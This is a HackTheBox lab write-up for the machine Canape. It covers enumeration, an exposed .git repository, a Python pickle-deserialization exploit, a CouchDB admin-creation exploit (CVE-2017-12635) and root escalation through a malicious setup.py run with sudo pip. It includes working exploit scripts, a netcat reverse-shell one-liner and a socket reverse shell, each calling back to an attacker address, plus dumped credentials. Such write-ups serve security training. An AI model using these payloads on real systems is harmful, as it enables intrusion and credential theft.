Showing posts with label Python Pickle Deserialization. Show all posts
Showing posts with label Python Pickle Deserialization. Show all posts

HackTheBox: Canape | Python Pickle Deserialization + CouchDB Exploitation

HackTheBox: Canape

Summary: Canape is a moderate difficulty machine. This machine requires a basic understanding of Python to be able to find the exploitable point in the application.

Skills Required:

  • Intermediate knowledge of Linux
  • Basic/Intermediate knowledge of Python

Skills Learned:
  • Exploiting insecure Python Pickling
  • Exploiting Sudo NOPASSWD
  • Exploiting Apache CouchDB

Enumeration:
First things first. We are going to run the NMAP scan. 😀
NMAP finds that the webserver with .git on port 80, ssh running on port 65535, and it looks like we’re going to deal with Ubuntu.

[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:24 +06
Nmap scan report for 10.10.10.70
Host is up (0.30s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 155.56 seconds
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -A -p 80,65535 -oA nmap/initial 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:31 +06
Nmap scan report for 10.10.10.70
Host is up (0.29s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Simpsons Fan Site
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   305.64 ms 10.10.14.1
2   305.04 ms 10.10.10.70

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.56 seconds

Web Fuzzing:
This is a simple Fan site.





The submit form is something that we should focus on, but previously We've found a .git path via NMAP scanning and it's exposed a git repository. And if we run the WFUZZ then it will also reveal the same exposed git repo.

wfuzz result:

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hl 0,82 http://10.10.10.70/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.70/FUZZ
Total requests: 4702

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                 
=====================================================================

000000012:   200        9 L      43 W       1075 Ch     ".git/index"                            
000000011:   200        11 L     29 W       259 Ch      ".git/config"                           
000000010:   200        1 L      2 W        23 Ch       ".git/HEAD"                             
000000013:   200        17 L     70 W       1130 Ch     ".git/logs/"                            
000000008:   301        9 L      28 W       309 Ch      ".git"                                  
000001029:   403        11 L     32 W       294 Ch      "cgi-bin/"                              
000001063:   405        4 L      23 W       178 Ch      "check"                                 
000003385:   200        85 L     227 W      3150 Ch     "quotes"                                
000003699:   403        11 L     32 W       299 Ch      "server-status"                         
000003940:   301        9 L      28 W       311 Ch      "static"                                
000003984:   200        81 L     167 W      2836 Ch     "submit"                                

Total time: 156.3866
Processed Requests: 4702
Filtered Requests: 4691
Requests/sec.: 30.06650



When there’s an exposed git repo on a website, we can get a full history of the site by using wget!

wget commands:

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wget --mirror -I .git 10.10.10.70/.git
...
...
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #cd 10.10.10.70/
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #git checkout -- .
ada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #ls
__init__.py  robots.txt  static  templates

Source Code Review:
With full access to the source, we see a python flask site. There are two sections that caught my eye, Submit and Check.

source code:
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5


app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()
Submit
In this code there is an upload section:
@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

What's going on here?
  • The user submitted ‘char’ only has to contain one of the character names from the whitelist. It doesn’t have to be one of the names.
  • The user has no control over the name of the file, but can know the name of the file.
  • Nothing is written to the file outside the two user-provided strings concatenated.
  • There’s a comment reference to /check and pickle.
Check
Looking down the source, there’s a path for /check:
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item
What's going on here?
  • cPickle.loads will run the object’s __reduce__ method when it is unpickled. So an attacker can create a class with a __reduce__ function that executes their desired commands, pickle an instance of that class, and pass that string to canape.
www-data Shell:

Exploit:
import os, cPickle, requests
from hashlib import md5

url = "http://10.10.10.70/"

class Exploit(object):
    def __reduce__(self):
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f',))

quote = cPickle.dumps(Exploit())

char = "(S'homer'\n"

p_id = md5(char + quote).hexdigest()

# Uploading data

upload_data = [('character',char), ('quote',quote)]
requests.post(url +"submit", data=upload_data)

# Triggering Pickle

id_data = [('id',p_id)]
(requests.post(url + "check", data=id_data))


┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #python2 exploit.py

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 40786
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'
www-data@canape:/$ 
Privilege Escalation: www-data –> homer:
CouchDB + Enumeration:
The page source also showed that the simpsons quotes were stored in a couchdb:
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
The couchdb is only on localhost:
www-data@canape:/$ netstat -ano | grep "LISTEN "
netstat -ano | grep "LISTEN "
tcp        0      0 0.0.0.0:36408           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5984          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5986          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:4369            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 :::65535                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::4369                 :::*                    LISTEN      off (0.00/0/0)

To interact with couchdb, use curl from the local access. The passwords and _users dbs seem interesting, but neither is accessible. We can list ids in a database at the /[database name]/_all_docs path. To get an individual document, we visit /[database name]/id
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/_all_docs
curl http://127.0.0.1:5984/simpsons/_all_docs
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
1000dd9tp://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a 
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
www-data@canape:/$ curl http://127.0.0.1:5984/passwords
curl http://127.0.0.1:5984/passwords
{"error":"unauthorized","reason":"You are not authorized to access this db."}
www-data@canape:/$ curl http://127.0.0.1:5984/_users
curl http://127.0.0.1:5984/_users
{"db_name":"_users","update_seq":"11-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6JnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW6F7GLADeKW85","sizes":{"file":79122,"external":2678,"active":5042},"purge_seq":0,"other":{"data_size":2678},"doc_del_count":1,"doc_count":3,"disk_size":79122,"disk_format_version":6,"data_size":5042,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://127.0.0.1:5984/_users/_all_docs
curl http://127.0.0.1:5984/_users/_all_docs
{"error":"unauthorized","reason":"You are not a server admin."}
Database Privileges Escalation:
CVE-2017-12635 is a way for non-authenticated users to get an admin access in couchdb by taking advantage of how Javascript and Erlang json parsers handle duplicate objects.
So, with CVE-2017-12635, to add an admin user, we just need to use an HTTP PUT:
www-data@canape:/$ curl -X PUT -d '{"type":"user","name":"theshahzada","roles":["_admin"],"roles":[],"password":"thes"}' 127.0.0.1:5984/_users/org.couchdb.user:theshahzada -H "Content-Type:application/json"
Because we have a “roles” object in there twice, the CouchDB Javascript validation will only see the second one (empty), but then Erlang json parser will keep both, and let us be an admin.

Enumeration as admin:
Now, we can use the creds for the added admin user to read the rest of the db:


www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords
curl http://theshahzada:thes@127.0.0.1:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_docs
csrl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_do 
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
df3f7a001bebb8fc4380019e4hes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
df3f7a001bebb8fc43800368dhes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
df3f7a001bebb8fc438003e5fhes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
df3f7a001bebb8fc438004738hes@127.0.0.1:5984/passwords/739c5eb 
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
SSH as homer:
That first password from the couchdb enumeration, "item": "ssh", is promising. We noticed in initial enumeration that SSH was running on port 65535. We try to ssh as the only user on the box, homer, with the password, “0B4jyA0xtytZi7esBNGp”, and it works:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #ssh -p 65535 homer@10.10.10.70
homer@10.10.10.70's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Dec 14 09:31:52 2021 from 10.10.14.7
homer@canape:~$ cat user.txt
bce918*********288d
Privilege Escalation: 
homer –> root
homer can run pip with sudo:
homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
root shell:
import os
import socket
import subprocess

from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.7",9002))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p = subprocess.call(["/bin/sh", "-i"])

setup(
    cmdclass={
        "install": Exploit
    }
)


homer@canape:~/theshahzada$ sudo pip install .
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /home/homer/theshahzada
Installing collected packages: UNKNOWN
  Running setup.py install for UNKNOWN ... -

┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 47212
# python -c 'import pty;pty.spawn("bash")'
root@canape:/tmp/pip-GiMdT7-build# id 
id
uid=0(root) gid=0(root) groups=0(root)

Reference:
  • I've taken some notes from the official writeup, 0xdf writeup and ippsec's video
  • https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
  • https://www.exploit-db.com/exploits/44913
  • https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/